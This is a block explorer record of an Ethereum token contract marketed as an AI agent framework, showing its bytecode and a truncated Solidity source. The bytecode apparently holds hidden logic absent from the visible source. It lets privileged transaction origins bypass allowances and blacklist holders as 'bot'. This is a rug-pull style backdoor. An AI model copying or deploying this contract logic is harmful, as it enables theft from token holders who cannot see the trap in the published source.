Address Contract Partially Verified
Address
0xc02a0f1b1973BF7fA41FcB9D75703703a51815F0
Balance
0 ETH
Nonce
1
Code Size
11286 bytes
Creator
0x14d7bC8A...C5a7 at tx 0x94fcf4ff...b2d384
Indexed Transactions
0
Contract Bytecode
11286 bytes
0x608060405260043610610169575f3560e01c8063590f897e116100d057806395d89b4111610089578063b35e6dea11610063578063b35e6dea1461052a578063dd62ed3e14610566578063ddbf5266146105a2578063f2fde38b146105ca57610170565b806395d89b4114610488578063a457c2d7146104b2578063a9059cbb146104ee57610170565b8063590f897e146103a257806370a08231146103cc578063715018a61461040857806378109e541461041e5780638a8c523c146104485780638da5cb5b1461045e57610170565b806323b872dd1161012257806323b872dd14610282578063313ce567146102be57806339509351146102e857806340b9a54b1461032457806349bd5a5e1461034e5780634a74bb021461037857610170565b806306fdde0314610174578063095ea7b31461019e57806313fad07a146101da5780631694505e1461020457806318160ddd1461022e578063220f66961461025857610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b506101886105f2565b6040516101959190612063565b60405180910390f35b3480156101a9575f5ffd5b506101c460048036038101906101bf9190612114565b610682565b6040516101d1919061216c565b60405180910390f35b3480156101e5575f5ffd5b506101ee61069f565b6040516101fb919061216c565b60405180910390f35b34801561020f575f5ffd5b506102186106b2565b60405161022591906121e0565b60405180910390f35b348015610239575f5ffd5b506102426106d7565b60405161024f9190612208565b60405180910390f35b348015610263575f5ffd5b5061026c6106e0565b604051610279919061216c565b60405180910390f35b34801561028d575f5ffd5b506102a860048036038101906102a39190612221565b6106f3565b6040516102b5919061216c565b60405180910390f35b3480156102c9575f5ffd5b506102d2610759565b6040516102df919061228c565b60405180910390f35b3480156102f3575f5ffd5b5061030e60048036038101906103099190612114565b61076e565b60405161031b919061216c565b60405180910390f35b34801561032f575f5ffd5b5061033861081c565b6040516103459190612208565b60405180910390f35b348015610359575f5ffd5b50610362610822565b60405161036f91906122b4565b60405180910390f35b348015610383575f5ffd5b5061038c610847565b604051610399919061216c565b60405180910390f35b3480156103ad575f5ffd5b506103b661085a565b6040516103c39190612208565b60405180910390f35b3480156103d7575f5ffd5b506103f260048036038101906103ed91906122cd565b610860565b6040516103ff9190612208565b60405180910390f35b348015610413575f5ffd5b5061041c6108a6565b005b348015610429575f5ffd5b506104326108b9565b60405161043f9190612208565b60405180910390f35b348015610453575f5ffd5b5061045c6108bf565b005b348015610469575f5ffd5b50610472610a20565b60405161047f91906122b4565b60405180910390f35b348015610493575f5ffd5b5061049c610a47565b6040516104a99190612063565b60405180910390f35b3480156104bd575f5ffd5b506104d860048036038101906104d39190612114565b610ad7565b6040516104e5919061216c565b60405180910390f35b3480156104f9575f5ffd5b50610514600480360381019061050f9190612114565b610b9f565b604051610521919061216c565b60405180910390f35b348015610535575f5ffd5b50610550600480360381019061054b91906122cd565b610bbc565b60405161055d919061216c565b60405180910390f35b348015610571575f5ffd5b5061058c600480360381019061058791906122f8565b610bd9565b6040516105999190612208565b60405180910390f35b3480156105ad575f5ffd5b506105c860048036038101906105c39190612336565b610c5b565b005b3480156105d5575f5ffd5b506105f060048036038101906105eb91906122cd565b610ce8565b005b6060600880546106019061238e565b80601f016020809104026020016040519081016040528092919081815260200182805461062d9061238e565b80156106785780601f1061064f57610100808354040283529160200191610678565b820191905f5260205f20905b81548152906001019060200180831161065b57829003601f168201915b5050505050905090565b5f61069561068e610d6a565b8484610d71565b6001905092915050565b601960169054906101000a900460ff1681565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d54905090565b601960149054906101000a900460ff1681565b5f6106ff848484610eff565b61074e8461070b610d6a565b61074985604051806060016040528060288152602001612b946028913961073a8a610734610d6a565b8a611725565b6117fb9092919063ffffffff16565b610d71565b600190509392505050565b5f600c5f9054906101000a900460ff16905090565b5f61081261077a610d6a565b8461080d8560025f61078a610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184f90919063ffffffff16565b610d71565b6001905092915050565b60115481565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b60125481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ae611864565b6108b75f6118e2565b565b60165481565b6108c7611864565b6109133060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610d71565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061095b30610860565b5f5f610965610a20565b426040518863ffffffff1660e01b8152600401610987969594939291906123f7565b60606040518083038185885af11580156109a3573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109c8919061246a565b5050506001601960156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1596001604051610a16919061216c565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610a569061238e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a829061238e565b8015610acd5780601f10610aa457610100808354040283529160200191610acd565b820191905f5260205f20905b815481529060010190602001808311610ab057829003601f168201915b5050505050905090565b5f610b95610ae3610d6a565b84610b9085604051806060016040528060258152602001612bbc6025913960025f610b0c610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fb9092919063ffffffff16565b610d71565b6001905092915050565b5f610bb2610bab610d6a565b8484610eff565b6001905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c63611864565b601960149054906101000a900460ff1615610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90612504565b60405180910390fd5b5f610cbd30610860565b90505f60648383610cce919061254f565b610cd891906125bd565b9050610ce3816119a3565b505050565b610cf0611864565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d559061265d565b60405180910390fd5b610d67816118e2565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dd957505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906126c5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ef29190612208565b60405180910390a3505050565b610f07610a20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610f8f575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611020575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611079575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110b85750611088610a20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561111b575f6110c783610860565b905060165482826110d891906126e3565b1115611119576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611110906127ac565b60405180910390fd5b505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90612814565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611248575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611281575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156112a257506103e88161129585610860565b61129f9190612832565b11155b1561130157600160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611720565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561136957505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139f906128af565b60405180910390fd5b5f81116113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e19061293d565b60405180910390fd5b600f60019054906101000a900460ff1660ff16600f5f9054906101000a900460ff1660ff161015801561142a5750601960149054906101000a900460ff16155b8015611483575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561149b5750601960159054906101000a900460ff165b156114da575f600f5f6101000a81548160ff021916908360ff1602179055505f6114c430610860565b90505f8111156114d8576114d7816119a3565b5b505b5f6001905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061157a575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806116435750601960169054906101000a900460ff1680156115e9575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611642575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611650575f9050611712565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116b257601154601081905550611711565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611710576012546010819055505b5b5b61171e84848484611a14565b505b505050565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905060035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156117f4578190505b9392505050565b5f838311158290611842576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118399190612063565b60405180910390fd5b5082840390509392505050565b5f818361185c91906126e3565b905092915050565b61186c610d6a565b73ffffffffffffffffffffffffffffffffffffffff1661188a610a20565b73ffffffffffffffffffffffffffffffffffffffff16146118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d7906129a5565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601960146101000a81548160ff0219169083151502179055506119c781611a7d565b5f4790506119f660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611cb3565b505f601960146101000a81548160ff02191690831515021790555050565b80611a2657611a21611cfb565b611a5e565b600f5f81819054906101000a900460ff1680929190611a44906129c3565b91906101000a81548160ff021916908360ff160217905550505b611a69848484611d51565b80611a7757611a76611f7f565b5b50505050565b5f600267ffffffffffffffff811115611a9957611a986129eb565b5b604051908082528060200260200182016040528015611ac75781602001602082028036833780820191505090505b50905030815f81518110611ade57611add612a18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b82573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ba69190612a59565b81600181518110611bba57611bb9612a18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c203060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d71565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c82959493929190612b3b565b5f604051808303815f87803b158015611c99575f5ffd5b505af1158015611cab573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cf6573d5f5f3e3d5ffd5b505050565b5f601054148015611d0d57505f601154145b8015611d1a57505f601254145b611d4f576011546014819055506012546015819055506010546013819055505f6011819055505f6012819055505f6010819055505b565b5f5f611d5c83611f9c565b91509150611db08360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fde90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e418260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184f90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ed28160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f709190612208565b60405180910390a35050505050565b601354601081905550601454601181905550601554601281905550565b5f5f5f606460105485611faf919061254f565b611fb991906125bd565b90505f611fcf8286611fde90919063ffffffff16565b90508082935093505050915091565b5f8183611feb9190612832565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61203582611ff3565b61203f8185611ffd565b935061204f81856020860161200d565b6120588161201b565b840191505092915050565b5f6020820190508181035f83015261207b818461202b565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120b082612087565b9050919050565b6120c0816120a6565b81146120ca575f5ffd5b50565b5f813590506120db816120b7565b92915050565b5f819050919050565b6120f3816120e1565b81146120fd575f5ffd5b50565b5f8135905061210e816120ea565b92915050565b5f5f6040838503121561212a57612129612083565b5b5f612137858286016120cd565b925050602061214885828601612100565b9150509250929050565b5f8115159050919050565b61216681612152565b82525050565b5f60208201905061217f5f83018461215d565b92915050565b5f819050919050565b5f6121a86121a361219e84612087565b612185565b612087565b9050919050565b5f6121b98261218e565b9050919050565b5f6121ca826121af565b9050919050565b6121da816121c0565b82525050565b5f6020820190506121f35f8301846121d1565b92915050565b612202816120e1565b82525050565b5f60208201905061221b5f8301846121f9565b92915050565b5f5f5f6060848603121561223857612237612083565b5b5f612245868287016120cd565b9350506020612256868287016120cd565b925050604061226786828701612100565b9150509250925092565b5f60ff82169050919050565b61228681612271565b82525050565b5f60208201905061229f5f83018461227d565b92915050565b6122ae816120a6565b82525050565b5f6020820190506122c75f8301846122a5565b92915050565b5f602082840312156122e2576122e1612083565b5b5f6122ef848285016120cd565b91505092915050565b5f5f6040838503121561230e5761230d612083565b5b5f61231b858286016120cd565b925050602061232c858286016120cd565b9150509250929050565b5f6020828403121561234b5761234a612083565b5b5f61235884828501612100565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806123a557607f821691505b6020821081036123b8576123b7612361565b5b50919050565b5f819050919050565b5f6123e16123dc6123d7846123be565b612185565b6120e1565b9050919050565b6123f1816123c7565b82525050565b5f60c08201905061240a5f8301896122a5565b61241760208301886121f9565b61242460408301876123e8565b61243160608301866123e8565b61243e60808301856122a5565b61244b60a08301846121f9565b979650505050505050565b5f81519050612464816120ea565b92915050565b5f5f5f6060848603121561248157612480612083565b5b5f61248e86828701612456565b935050602061249f86828701612456565b92505060406124b086828701612456565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f6124ee602083611ffd565b91506124f9826124ba565b602082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612559826120e1565b9150612564836120e1565b9250828202612572816120e1565b9150828204841483151761258957612588612522565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6125c7826120e1565b91506125d2836120e1565b9250826125e2576125e1612590565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612647602683611ffd565b9150612652826125ed565b604082019050919050565b5f6020820190508181035f8301526126748161263b565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f6126af601183611ffd565b91506126ba8261267b565b602082019050919050565b5f6020820190508181035f8301526126dc816126a3565b9050919050565b5f6126ed826120e1565b91506126f8836120e1565b92508282019050808211156127105761270f612522565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f612796605183611ffd565b91506127a182612716565b606082019050919050565b5f6020820190508181035f8301526127c38161278a565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f6127fe601283611ffd565b9150612809826127ca565b602082019050919050565b5f6020820190508181035f83015261282b816127f2565b9050919050565b5f61283c826120e1565b9150612847836120e1565b925082820390508181111561285f5761285e612522565b5b92915050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f612899601583611ffd565b91506128a482612865565b602082019050919050565b5f6020820190508181035f8301526128c68161288d565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f612927602583611ffd565b9150612932826128cd565b604082019050919050565b5f6020820190508181035f8301526129548161291b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61298f602083611ffd565b915061299a8261295b565b602082019050919050565b5f6020820190508181035f8301526129bc81612983565b9050919050565b5f6129cd82612271565b915060ff82036129e0576129df612522565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612a53816120b7565b92915050565b5f60208284031215612a6e57612a6d612083565b5b5f612a7b84828501612a45565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ab6816120a6565b82525050565b5f612ac78383612aad565b60208301905092915050565b5f602082019050919050565b5f612ae982612a84565b612af38185612a8e565b9350612afe83612a9e565b805f5b83811015612b2e578151612b158882612abc565b9750612b2083612ad3565b925050600181019050612b01565b5085935050505092915050565b5f60a082019050612b4e5f8301886121f9565b612b5b60208301876123e8565b8181036040830152612b6d8186612adf565b9050612b7c60608301856122a5565b612b8960808301846121f9565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ada77262b54b26672bb6aed873190202c86f108915b264a6d717fea62afb946164736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1167 lines
// SPDX-License-Identifier: MIT
/*
Modular AI Agent Framework
https://hybridaioneth.live
https://app.hybridaioneth.live
https://x.com/hybridaitoken
https://t.me/hybridai_community
*/
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
//Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to to.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from from to to using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: contracts/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.17;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
